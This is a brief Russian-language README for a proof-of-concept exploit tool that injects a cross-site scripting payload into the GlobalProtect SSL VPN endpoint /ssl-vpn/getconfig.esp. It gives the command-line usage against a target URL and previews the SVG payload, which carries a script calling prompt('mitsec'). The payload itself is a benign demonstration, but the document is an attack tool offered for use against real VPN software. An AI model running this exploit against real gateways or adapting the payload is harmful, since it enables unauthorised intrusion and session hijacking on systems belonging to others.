mitsec_vpn_xss_exploit

🔓 Эксплойт для конечной точки GlobalProtect SSL VPN /ssl-vpn/getconfig.esp, который добавляет сконструированную XSS-нагрузку к URL.

Использование

python3 exploit.py -u https://target.com

Параметры

• -u, --url: Базовый целевой URL (не включайте параметры запроса)

Предпросмотр нагрузки

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

Автор